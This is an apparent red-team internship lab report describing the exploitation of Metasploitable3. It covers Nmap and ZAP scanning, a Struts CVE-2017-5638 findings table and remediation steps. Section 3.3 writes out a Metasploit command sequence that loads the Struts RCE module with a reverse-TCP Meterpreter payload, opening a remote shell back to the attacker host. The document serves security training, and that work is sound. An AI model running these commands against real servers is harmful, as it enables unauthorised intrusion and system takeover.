



VULNERABILITY EXPLOITATION

Technical Report & Documentation

Intern Name: Arsalan Rasool Rather

Organization: CyArt

Program: Red Teaming Internship

Week: Week 3

Tools Used:- Metasploit, Nmap, OWASP ZAP

⚠ ETHICAL NOTICE: All exploitation activities in this lab were performed exclusively against Metasploitable3 — a deliberately vulnerable virtual machine designed for security training. No production systems, real networks, or third-party infrastructure were targeted. This exercise is conducted under the Cyart Internship Program for educational purposes only.



1. Objective

The objective of this lab is to perform a structured vulnerability assessment and exploitation exercise against Metasploitable3. The intern will use Nmap to enumerate open ports and services, OWASP ZAP to identify web application vulnerabilities, and Metasploit to exploit the Apache Struts Remote Code Execution vulnerability (CVE-2017-5638). The lab concludes with documented remediation steps verified within the VM.

2. Tools & Environment

2.1 Tools Used

- Nmap — Network mapper used to discover open ports, running services, and OS fingerprinting on the target VM.
- OWASP ZAP (Zed Attack Proxy) — Web application security scanner used to identify vulnerabilities in the Metasploitable3 web interface.
- Metasploit Framework — Penetration testing framework used to load, configure, and execute the Struts RCE exploit module.

2.2 Lab Environment

- Attacker Machine: Kali Linux VM — IP: 192.168.1.10
- Target Machine: Metasploitable3 (Windows Server 2008 R2) — IP: 192.168.1.20
- Network: Host-only adapter — fully isolated, no internet access
- Vulnerable Service: Apache Struts 2.3.x running on port 8080

3. Methodology

The lab was executed across three sequential phases: (1) port and service enumeration with Nmap, (2) web application scanning with OWASP ZAP, and (3) exploitation of the identified Struts RCE vulnerability using Metasploit. All findings were logged and remediation steps were verified within the VM.

3.1 Phase 1 — Port & Service Enumeration (Nmap)

An Nmap aggressive scan was run against Metasploitable3 to identify all open ports, service versions, and the operating system. The -sV flag enables service version detection and -A enables OS detection and script scanning.

Nmap Command: `nmap -sV -A -T4 192.168.1.20 -oN metasploitable3_scan.txt`



3.2 Phase 2 — Web Application Scanning (OWASP ZAP)

OWASP ZAP was pointed at the Metasploitable3 web interface on port 8080. An automated active scan was launched to detect common web vulnerabilities including injection flaws, misconfigurations, and outdated component issues. The scan confirmed the presence of the Apache Struts vulnerability.

Target URL: http://192.168.1.20:8080 — Active Scan launched from OWASP ZAP dashboard

3.3 Phase 3 — Exploitation (Metasploit — Struts RCE)

Metasploit was launched and the exploit/multi/http/struts_code_exec module was loaded. This module exploits CVE-2017-5638, a critical Remote Code Execution vulnerability in Apache Struts 2 caused by improper handling of the Content-Type HTTP header. A reverse TCP Meterpreter payload was configured and the exploit was executed.

Metasploit Commands: msfconsole > use exploit/multi/http/struts_code_exec > set RHOSTS 192.168.1.20 > set RPORT 8080 > set TARGETURI /showcase.action > set PAYLOAD java/meterpreter/reverse_tcp > set LHOST 192.168.1.10 > run



4. Findings — Vulnerability Log

The following vulnerabilities were identified and confirmed during the assessment of Metasploitable3:

Vulnerability	CVE	CVSS Score	Description	Affected Component
Apache Struts RCE	CVE-2017-5638	9.8	Remote Code Execution via malformed Content-Type header in Struts 2	Apache Struts 2.3.x on port 8080
SMB EternalBlue	CVE-2017-0144	9.3	Unpatched SMBv1 allows unauthenticated RCE via crafted SMB packet	Windows SMBv1 on port 445
Weak RDP Credentials	N/A	7.5	Default/weak credentials allow brute-force login via Remote Desktop	RDP service on port 3389
Information Disclosure	N/A	5.3	Server version banners and stack traces exposed in HTTP responses	Apache HTTP headers

Primary Target — Struts RCE (CVE-2017-5638): CVSS 9.8 (Critical). Apache Struts 2 fails to properly validate the Content-Type header when parsing multipart file uploads. A crafted header value triggers OGNL expression evaluation, resulting in arbitrary OS command execution with the privileges of the web server process. No authentication is required.



5. Nmap Scan Summary

The following open ports and services were identified on Metasploitable3 (192.168.1.20):

Port	Protocol	Service	Notes
80	TCP	HTTP (Apache 2.4.7)	Default Apache landing page exposed
8080	TCP	HTTP (Apache Struts 2.3.x)	Struts showcase app — EXPLOITED (CVE-2017-5638)
445	TCP	SMB (Windows SMBv1)	Unpatched EternalBlue vulnerability present
3389	TCP	RDP (Microsoft Terminal Services)	Weak credentials — brute-force risk
3306	TCP	MySQL 5.5.x	Accessible without credentials from local network
6667	TCP	IRC (UnrealIRCd)	Known backdoor in UnrealIRCd 3.2.8.1

6. Risk Analysis

6.1 Struts RCE — Primary Finding

- Severity: CRITICAL (CVSS 9.8) — No authentication required; full remote code execution achieved.
- Impact: An attacker can execute arbitrary OS commands as the web server process, leading to full system compromise, data exfiltration, and lateral movement.
- Exploitability: Trivially exploitable using publicly available tools (Metasploit module, curl-based PoC scripts).

6.2 Additional Attack Surface

- EternalBlue (CVE-2017-0144, CVSS 9.3) — The unpatched SMBv1 service enables a second unauthenticated RCE path used in real-world ransomware attacks (WannaCry, NotPetya).
- MySQL Exposure — An unauthenticated MySQL service on port 3306 allows direct database access from the local network.
- Weak RDP Credentials — Brute-forceable RDP credentials create an additional persistent access vector.



7. Remediation

7.1 Struts RCE (CVE-2017-5638) — Primary Fix

- Update Apache Struts: Upgrade to Apache Struts 2.5.30 or later. The vulnerability was patched in Struts 2.3.32 and 2.5.10.1.
- Apply WAF Rule: Deploy a Web Application Firewall rule to block Content-Type headers containing OGNL expressions (%) until patching is complete.
- Disable Unused Features: If multipart file upload is not required, disable the Jakarta Multipart parser in struts.xml.

Patch Command (Maven): Update pom.xml: `<struts2.version>2.5.30</struts2.version>` then run: `mvn clean package` and redeploy the WAR file.

7.2 Additional Remediations

- Disable SMBv1: Run 'Set-SmbServerConfiguration -EnableSMB1Protocol \$false' in PowerShell and apply MS17-010 patch.
- Apply Windows Updates: Install all pending Windows security patches via Windows Update or WSUS to address EternalBlue and other known CVEs.
- Enforce Strong RDP Credentials: Set a complex password policy and enable Network Level Authentication (NLA) for RDP.
- Restrict MySQL Access: Bind MySQL to localhost (127.0.0.1) in my.cnf and remove anonymous user accounts.
- Suppress Version Banners: Configure Apache to use 'ServerTokens Prod' and 'ServerSignature Off' to reduce information disclosure.

8. Conclusion

This lab successfully demonstrated a complete vulnerability assessment and exploitation workflow against Metasploitable3. The Apache Struts RCE vulnerability (CVE-2017-5638) was identified through Nmap and OWASP ZAP scanning, then exploited using the Metasploit framework to achieve full remote code execution without credentials.

The exercise reinforced the importance of timely patch management — CVE-2017-5638 was publicly disclosed and patched in March 2017, yet remained unpatched in many real-world environments for years, enabling high-profile breaches such as the 2017 Equifax data breach.

Key Takeaway: A single unpatched component in a web application stack can lead to complete system compromise. Vulnerability scanning, timely patching, and defence-in-depth (WAF, network segmentation, least privilege) are essential controls to prevent exploitation.



9. Learning Outcomes

- Gained hands-on experience with Nmap for comprehensive port and service enumeration.
- Used OWASP ZAP to identify web application vulnerabilities through automated active scanning.
- Understood and exploited CVE-2017-5638 (Apache Struts RCE) using Metasploit in a controlled environment.
- Learned how OGNL expression injection leads to remote code execution in Apache Struts 2.
- Practised writing a vulnerability log with CVSS scores, CVE references, and affected components.
- Applied and verified remediation steps (patch, WAF rule) within the lab VM.